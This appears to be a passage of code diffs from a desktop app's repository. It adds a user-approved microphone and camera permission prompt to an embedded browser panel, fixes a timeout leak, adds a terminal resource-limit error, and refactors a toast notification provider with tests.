vi.useRealTimers()
}
})
it('starts the native scope boundary without waiting for exact cancellation', async () => {
let settleNative: (response: { ok: boolean; error?: string }) => void = () => {}
let settleExactCancellation: (cancelled: boolean) => void = () => {}
+3 -1
View File
@@ -186,6 +186,7 @@ export async function executeBrowserTool(
}
const activeTool = { toolCallId, tool, scopeId, onCancel }
activeBrowserTools.set(toolCallId, activeTool)
let timeoutId: ReturnType<typeof setTimeout> | undefined
try {
const invocation = agent.executeTool(toolCallId, tool, params, scopeId)
const response =
@@ -194,7 +195,7 @@ export async function executeBrowserTool(
: await Promise.race([
invocation,
new Promise<never>((_, reject) => {
setTimeout(
timeoutId = setTimeout(
() => reject(new Error(`The browser did not respond within ${timeoutMs}ms`)),
timeoutMs
)
@@ -205,6 +206,7 @@ export async function executeBrowserTool(
}
return response.result
} finally {
clearTimeout(timeoutId)
if (activeBrowserTools.get(toolCallId) === activeTool) {
activeBrowserTools.delete(toolCallId)
}
@@ -101,6 +101,66 @@ describe('browser session store', () => {
})
})
it('retains and clears the exact pending media request from native page state', () => {
const store = useBrowserSessionStore.getState()
const page = {
tabId: '1',
scopeId: 'chat-test',
title: 'Meeting',
url: 'https://meet.example.com',
loading: false,
canGoBack: false,
canGoForward: false,
}
store.setPageState({
...page,
mediaPermissionRequest: {
requestId: 'request-1',
origin: 'https://meet.example.com',
devices: ['microphone', 'camera'],
},
})
expect(getBrowserSession('chat-test').pageState?.mediaPermissionRequest).toEqual({
requestId: 'request-1',
origin: 'https://meet.example.com',
devices: ['microphone', 'camera'],
})
store.setPageState(page)
expect(getBrowserSession('chat-test').pageState?.mediaPermissionRequest).toBeUndefined()
})
it('retains pending media request identity across unrelated page-state updates', () => {
const store = useBrowserSessionStore.getState()
const request = {
requestId: 'request-1',
origin: 'https://meet.example.com',
devices: ['microphone', 'camera'] as const,
}
const page = {
tabId: '1',
scopeId: 'chat-test',
title: 'Meeting',
url: 'https://meet.example.com',
loading: false,
canGoBack: false,
canGoForward: false,
mediaPermissionRequest: request,
}
store.setPageState(page)
const retained = getBrowserSession('chat-test').pageState?.mediaPermissionRequest
store.setPageState({
...page,
title: 'Meeting in progress',
canGoBack: true,
mediaPermissionRequest: { ...request, devices: [...request.devices] },
})
expect(getBrowserSession('chat-test').pageState?.mediaPermissionRequest).toBe(retained)
})
it('reorders tabs optimistically without changing the active page', () => {
const store = useBrowserSessionStore.getState()
store.setTabsState({
+41 -10
View File
@@ -1,4 +1,5 @@
import type {
BrowserMediaPermissionRequest,
BrowserPageIssue,
BrowserPageState,
BrowserTabState,
@@ -93,6 +94,28 @@ function pageIssueEqual(a: BrowserPageIssue | undefined, b: BrowserPageIssue | u
return true
}
function mediaPermissionRequestEqual(
a: BrowserMediaPermissionRequest | undefined,
b: BrowserMediaPermissionRequest | undefined
): boolean {
if (a === b) return true
return Boolean(
a &&
b &&
a.requestId === b.requestId &&
a.origin === b.origin &&
a.devices.length === b.devices.length &&
a.devices.every((device, index) => device === b.devices[index])
)
}
function retainMediaPermissionRequest(
current: BrowserMediaPermissionRequest | undefined,
incoming: BrowserMediaPermissionRequest | undefined
): BrowserMediaPermissionRequest | undefined {
return mediaPermissionRequestEqual(current, incoming) ? current : incoming
}
function tabFieldsEqual(a: BrowserTabState, b: BrowserTabState): boolean {
return (
a.tabId === b.tabId &&
@@ -147,7 +170,8 @@ function pageStateEqual(a: BrowserPageState | null, b: BrowserPageState | null):
a.loading === b.loading &&
a.canGoBack === b.canGoBack &&
a.canGoForward === b.canGoForward &&
pageIssueEqual(a.issue, b.issue)
pageIssueEqual(a.issue, b.issue) &&
mediaPermissionRequestEqual(a.mediaPermissionRequest, b.mediaPermissionRequest)
)
}
@@ -208,15 +232,22 @@ export const useBrowserSessionStore = create<BrowserSessionState>()(
const { scopeId } = pageState
return withSession(state, scopeId, (current) => {
if (current.suspended) return current
const nextPageState = {
...pageState,
mediaPermissionRequest: retainMediaPermissionRequest(
current.pageState?.mediaPermissionRequest,
pageState.mediaPermissionRequest
),
}
const nextTabs = current.tabs.map((tab) =>
tab.tabId === pageState.tabId
tab.tabId === nextPageState.tabId
? {
...tab,
url: pageState.url,
title: pageState.title,
loading: pageState.loading,
url: nextPageState.url,
title: nextPageState.title,
loading: nextPageState.loading,
active: true,
issue: pageState.issue,
issue: nextPageState.issue,
}
: tab.active
? { ...tab, active: false }
@@ -225,17 +256,17 @@ export const useBrowserSessionStore = create<BrowserSessionState>()(
const tabs = tabsEqual(current.tabs, nextTabs) ? current.tabs : nextTabs
if (
tabs === current.tabs &&
current.activeTabId === pageState.tabId &&
current.activeTabId === nextPageState.tabId &&
current.sessionAlive &&
pageStateEqual(current.pageState, pageState)
pageStateEqual(current.pageState, nextPageState)
) {
return current
}
return {
...current,
pageState,
pageState: nextPageState,
sessionAlive: true,
activeTabId: pageState.tabId,
activeTabId: nextPageState.tabId,
tabs,
}
})
+1
View File
@@ -48,6 +48,7 @@
"safe-regex2": "5.1.0",
},
"devDependencies": {
"@electron/fuses": "1.8.0",
"@playwright/test": "1.61.1",
"@sim/tsconfig": "workspace:*",
"@types/micromatch": "4.0.10",
+16
View File
@@ -159,6 +159,7 @@ export interface BrowserPanelAction {
| 'zoom-in'
| 'zoom-out'
| 'zoom-reset'
| 'respond-media-permission'
| 'takeover-done'
/** Absolute URL for `navigate` (typed into the panel's URL bar). */
url?: string
@@ -166,6 +167,19 @@ export interface BrowserPanelAction {
tabId?: string
/** Optional free-text instruction submitted with `takeover-done`. */
takeoverResponse?: string
/** Exact pending media request being answered. */
requestId?: string
/** User decision for `respond-media-permission`. */
allowed?: boolean
}
export type BrowserMediaDevice = 'microphone' | 'camera'
/** One document-scoped media request awaiting an explicit user decision. */
export interface BrowserMediaPermissionRequest {
requestId: string
origin: string
devices: BrowserMediaDevice[]
}
/** Live state of the active page, pushed to the panel header. */
@@ -180,6 +194,8 @@ export interface BrowserPageState {
canGoForward: boolean
/** Recoverable problem replacing the native page surface. Optional for older shells. */
issue?: BrowserPageIssue
/** Main-frame media request awaiting a renderer-owned permission prompt. */
mediaPermissionRequest?: BrowserMediaPermissionRequest
}
/** A recoverable top-level page problem rendered by Sim instead of a blank native view. */
+18 -2
View File
@@ -174,6 +174,7 @@ export interface BrowserPanelAction {
| 'zoom-in'
| 'zoom-out'
| 'zoom-reset'
| 'respond-media-permission'
| 'takeover-done'
/** Absolute URL for `navigate` (typed into the panel's URL bar). */
url?: string
@@ -181,6 +182,19 @@ export interface BrowserPanelAction {
tabId?: string
/** Optional free-text instruction submitted with `takeover-done`. */
takeoverResponse?: string
/** Exact pending media request being answered. */
requestId?: string
/** User decision for `respond-media-permission`. */
allowed?: boolean
}
export type BrowserMediaDevice = 'microphone' | 'camera'
/** One document-scoped media request awaiting an explicit user decision. */
export interface BrowserMediaPermissionRequest {
requestId: string
origin: string
devices: BrowserMediaDevice[]
}
/** Live state of the active page, pushed to the panel header. */
@@ -195,6 +209,8 @@ export interface BrowserPageState {
canGoForward: boolean
/** Recoverable problem replacing the native page surface. Optional for older shells. */
issue?: BrowserPageIssue
/** Main-frame media request awaiting a renderer-owned permission prompt. */
mediaPermissionRequest?: BrowserMediaPermissionRequest
}
/** A recoverable top-level page problem rendered by Sim instead of a blank native view. */
@@ -782,6 +798,8 @@ export type TerminalErrorCode =
*/
| 'NO_SHELL_INTEGRATION'
| 'SPAWN_FAILED'
/** Opening another local shell would exceed the desktop resource ceiling. */
| 'RESOURCE_LIMIT'
/** No terminal with that id — the ids come from terminal_list. */
| 'NO_SUCH_TERMINAL'
/** The operation needs tmux, and this terminal has no tmux attached. */
@@ -893,8 +911,6 @@ export interface SimDesktopTerminalApi {
disposeScope(scopeId: string): Promise<boolean>
/** Stops a soft-deleted chat's shells while retaining its restart descriptor. */
suspendScope(scopeId: string): Promise<boolean>
/** End every shell. A new one starts on the next `start`. */
dispose(): void
/** Subscribe to PTY output batches. Returns an unsubscribe function. */
onData(callback: (terminalId: string, data: string, scopeId: string) => void): () => void
/**
-2
View File
@@ -95,8 +95,6 @@ export interface SimDesktopTerminalApi {
disposeScope(scopeId: string): Promise<boolean>
/** Stops a soft-deleted chat's shells while retaining its restart descriptor. */
suspendScope(scopeId: string): Promise<boolean>
/** End every shell. A new one starts on the next `start`. */
dispose(): void
/** Subscribe to PTY output batches. Returns an unsubscribe function. */
onData(callback: (terminalId: string, data: string, scopeId: string) => void): () => void
/**
@@ -0,0 +1,143 @@
/**
* @vitest-environment jsdom
*/
import { act, type ReactNode, useEffect } from 'react'
import { createRoot, type Root } from 'react-dom/client'
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
import { ToastProvider, toast } from './toast'
const navigation = vi.hoisted(() => ({
pathname: '/workspace/workspace-1/home',
}))
vi.mock('next/navigation', () => ({ usePathname: () => navigation.pathname }))
let root: Root | null = null
let container: HTMLDivElement | null = null
function mountProvider(children?: ReactNode): void {
;(globalThis as { IS_REACT_ACT_ENVIRONMENT?: boolean }).IS_REACT_ACT_ENVIRONMENT = true
container = document.createElement('div')
document.body.appendChild(container)
root = createRoot(container)
act(() => root?.render(<ToastProvider>{children}</ToastProvider>))
}
beforeEach(() => {
navigation.pathname = '/workspace/workspace-1/home'
vi.stubGlobal(
'ResizeObserver',
class {
disconnect(): void {}
observe(): void {}
}
)
})
afterEach(() => {
if (root) act(() => root?.unmount())
container?.remove()
root = null
container = null
vi.unstubAllGlobals()
})
describe('ToastProvider', () => {
it('does not dismiss a route-mounted toast before it commits', () => {
mountProvider()
const onDismiss = vi.fn()
function RouteToast() {
useEffect(() => {
toast.info('Ready on the new route', { onDismiss, duration: 0 })
}, [])
return null
}
navigation.pathname = '/workspace/workspace-1/settings'
act(() =>
root?.render(
<ToastProvider>
<RouteToast />
</ToastProvider>
)
)
expect(onDismiss).not.toHaveBeenCalled()
expect(document.body.textContent).toContain('Ready on the new route')
act(() => toast.dismissAll())
expect(onDismiss).toHaveBeenCalledOnce()
})
it('runs dismissal cleanup once when an action closes the toast', () => {
mountProvider()
const onDismiss = vi.fn()
const onAction = vi.fn()
act(() => {
toast.info('Permission requested', {
action: { label: 'Allow', onClick: onAction },
onDismiss,
})
})
const action = Array.from(document.querySelectorAll('button')).find(
(button) => button.textContent === 'Allow'
)
const dismiss = document.querySelector<HTMLButtonElement>(
'button[aria-label="Dismiss notification"]'
)
expect(action).not.toBeUndefined()
expect(dismiss).not.toBeNull()
act(() => action?.click())
expect(onAction).toHaveBeenCalledOnce()
expect(onDismiss).toHaveBeenCalledOnce()
act(() => dismiss?.click())
expect(onDismiss).toHaveBeenCalledOnce()
})
it('runs dismissal cleanup for programmatic removal', () => {
mountProvider()
const onDismiss = vi.fn()
let id = ''
act(() => {
id = toast.info('Permission requested', { onDismiss, duration: 0 })
})
act(() => toast.dismiss(id))
expect(onDismiss).toHaveBeenCalledOnce()
})
it('runs dismissal cleanup when a toast is added and removed in one batch', () => {
mountProvider()
const onDismiss = vi.fn()
let id = ''
act(() => {
id = toast.info('Permission requested', { onDismiss, duration: 0 })
toast.dismiss(id)
})
expect(onDismiss).toHaveBeenCalledOnce()
act(() => toast.dismiss(id))
expect(onDismiss).toHaveBeenCalledOnce()
})
it('runs dismissal cleanup when stack admission evicts an uncommitted toast', () => {
mountProvider()
const onDismiss = vi.fn()
act(() => {
toast.info('First', { onDismiss })
toast.info('Second')
toast.info('Third')
toast.info('Fourth')
})
expect(onDismiss).toHaveBeenCalledOnce()
expect(document.body.textContent).not.toContain('First')
})
})
+106 -18
View File
@@ -10,6 +10,7 @@ import {
useEffect,
useLayoutEffect,
useMemo,
useReducer,
useRef,
useState,
} from 'react'
@@ -98,6 +99,72 @@ interface ToastData {
action?: ToastAction
duration: number
persistAcrossRoutes: boolean
onDismiss?: () => void
}
interface ToastRemoval {
id: string
callback: () => void
}
interface ToastState {
toasts: ToastData[]
removals: ToastRemoval[]
}
type ToastStateAction =
| { type: 'add'; toast: ToastData }
| { type: 'dismiss'; id: string }
| { type: 'dismiss-all' }
| { type: 'sweep-route' }
| { type: 'ack-removals'; ids: string[] }
const INITIAL_TOAST_STATE: ToastState = { toasts: [], removals: [] }
function queueToastRemovals(state: ToastState, removed: ToastData[]): ToastRemoval[] {
const callbacks = removed.flatMap((toast) =>
toast.onDismiss ? [{ id: toast.id, callback: toast.onDismiss }] : []
)
return callbacks.length > 0 ? [...state.removals, ...callbacks] : state.removals
}
function toastStateReducer(state: ToastState, action: ToastStateAction): ToastState {
if (action.type === 'add') {
const toasts = [...state.toasts, action.toast]
if (toasts.length <= STACK_LIMIT) return { ...state, toasts }
const evictIndex = toasts.findIndex((toast) => toast.duration > 0)
const [removed] = toasts.splice(evictIndex === -1 ? 0 : evictIndex, 1)
return { toasts, removals: queueToastRemovals(state, [removed]) }
}
if (action.type === 'dismiss') {
const removed = state.toasts.find((toast) => toast.id === action.id)
if (!removed) return state
return {
toasts: state.toasts.filter((toast) => toast.id !== action.id),
removals: queueToastRemovals(state, [removed]),
}
}
if (action.type === 'dismiss-all') {
if (state.toasts.length === 0) return state
return { toasts: [], removals: queueToastRemovals(state, state.toasts) }
}
if (action.type === 'sweep-route') {
const removed = state.toasts.filter((toast) => !toast.persistAcrossRoutes)
if (removed.length === 0) return state
return {
toasts: state.toasts.filter((toast) => toast.persistAcrossRoutes),
removals: queueToastRemovals(state, removed),
}
}
const acknowledged = new Set(action.ids)
return {
...state,
removals: state.removals.filter((removal) => !acknowledged.has(removal.id)),
}
}
type ToastInput = {
@@ -105,6 +172,8 @@ type ToastInput = {
description?: string
variant?: ToastVariant
action?: ToastAction
/** Called once when the toast leaves the stack, regardless of how it was dismissed. */
onDismiss?: () => void
duration?: number
/**
* Keep the toast across navigation. The stack is otherwise cleared on every
@@ -330,7 +399,12 @@ function ToastItem({ toast: t, geometry, reduceMotion, onDismiss, onMeasure }: T
transition: reduceMotion ? { duration: 0 } : { duration: 0.15, ease: 'easeIn' },
}}
transition={transition}
style={{ zIndex, transformOrigin: 'bottom', width: TOAST_WIDTH, borderRadius: cornerRadius }}
style={{
zIndex,
transformOrigin: 'bottom',
width: TOAST_WIDTH,
borderRadius: cornerRadius,
}}
className='pointer-events-auto absolute right-0 bottom-0 m-0 overflow-hidden border border-[var(--border-1)] bg-[var(--bg)] shadow-[var(--shadow-overlay)]'
>
<div ref={contentRef} className='flex flex-col gap-2 p-2'>
@@ -406,11 +480,12 @@ export function ToastProvider({ children }: { children?: ReactNode }) {
/** On the workflow editor (`/w/[id]` and the `/w` index) the stack insets by `--panel-width` / `--terminal-height` to clear the panel and terminal. */
const isWorkflowPage = pathname ? /\/w(\/|$)/.test(pathname) : false
const [toasts, setToasts] = useState<ToastData[]>([])
const [{ toasts, removals }, dispatch] = useReducer(toastStateReducer, INITIAL_TOAST_STATE)
const [heights, setHeights] = useState<Record<string, number>>({})
const [expanded, setExpanded] = useState(false)
const [mounted, setMounted] = useState(false)
const timersRef = useRef(new Map<string, ReturnType<typeof setTimeout>>())
const processedRemovalIdsRef = useRef(new Set<string>())
/**
* Clear the previous route's toasts when the route changes. Toasts flagged
@@ -430,9 +505,7 @@ export function ToastProvider({ children }: { children?: ReactNode }) {
const [sweptPathname, setSweptPathname] = useState(pathname)
if (pathname !== sweptPathname) {
setSweptPathname(pathname)
setToasts((prev) =>
prev.some((t) => !t.persistAcrossRoutes) ? prev.filter((t) => t.persistAcrossRoutes) : prev
)
dispatch({ type: 'sweep-route' })
}
useEffect(() => {
@@ -455,7 +528,7 @@ export function ToastProvider({ children }: { children?: ReactNode }) {
* auto-dismissable toast is evicted first, so a persistent (actionable) toast
* isn't silently dropped — only an all-persistent overflow evicts the oldest.
*/
const addToast = useCallback((input: ToastInput): string => {
const addToast = (input: ToastInput): string => {
const id = generateId()
const data: ToastData = {
id,
@@ -465,16 +538,27 @@ export function ToastProvider({ children }: { children?: ReactNode }) {
action: input.action,
duration: input.duration ?? (input.action ? 0 : AUTO_DISMISS_MS),
persistAcrossRoutes: input.persistAcrossRoutes ?? false,
onDismiss: input.onDismiss,
}
setToasts((prev) => {
const next = [...prev, data]
if (next.length <= STACK_LIMIT) return next
const evictIndex = next.findIndex((t) => t.duration > 0)
next.splice(evictIndex === -1 ? 0 : evictIndex, 1)
return next
})
dispatch({ type: 'add', toast: data })
return id
}, [])
}
useEffect(() => {
const processed = processedRemovalIdsRef.current
if (removals.length === 0) {
processed.clear()
return
}
const ids: string[] = []
for (const removal of removals) {
if (processed.has(removal.id)) continue
processed.add(removal.id)
ids.push(removal.id)
removal.callback()
}
if (ids.length > 0) dispatch({ type: 'ack-removals', ids })
}, [removals])
const dismissToast = useCallback((id: string) => {
const timer = timersRef.current.get(id)
@@ -482,7 +566,7 @@ export function ToastProvider({ children }: { children?: ReactNode }) {
clearTimeout(timer)
timersRef.current.delete(id)
}
setToasts((prev) => prev.filter((t) => t.id !== id))
dispatch({ type: 'dismiss', id })
setHeights((prev) => {
if (!(id in prev)) return prev
const next = { ...prev }
@@ -494,7 +578,7 @@ export function ToastProvider({ children }: { children?: ReactNode }) {
const dismissAllToasts = useCallback(() => {
for (const timer of timersRef.current.values()) clearTimeout(timer)
timersRef.current.clear()
setToasts([])
dispatch({ type: 'dismiss-all' })
setHeights({})
}, [])
@@ -554,7 +638,7 @@ export function ToastProvider({ children }: { children?: ReactNode }) {
}
}, [])
/** Held in a ref (seeded once from the stable `addToast`) so the module-level `toast` binds to the live provider. */
/** Held in a ref (seeded once from `addToast`) so the module-level `toast` binds to the live provider. */
const toastFn = useRef<ToastFn>(createToastFn(addToast))
useEffect(() => {
@@ -570,7 +654,11 @@ export function ToastProvider({ children }: { children?: ReactNode }) {
}, [dismissToast, dismissAllToasts])
const ctx = useMemo<ToastContextValue>(
() => ({ toast: toastFn.current, dismiss: dismissToast, dismissAll: dismissAllToasts }),
() => ({
toast: toastFn.current,
dismiss: dismissToast,
dismissAll: dismissAllToasts,
}),
[dismissToast, dismissAllToasts]
)
+2
View File
@@ -461,6 +461,8 @@ export type TerminalErrorCode =
*/
| 'NO_SHELL_INTEGRATION'
| 'SPAWN_FAILED'
/** Opening another local shell would exceed the desktop resource ceiling. */
| 'RESOURCE_LIMIT'
/** No terminal with that id — the ids come from terminal_list. */
| 'NO_SUCH_TERMINAL'
/** The operation needs tmux, and this terminal has no tmux attached. */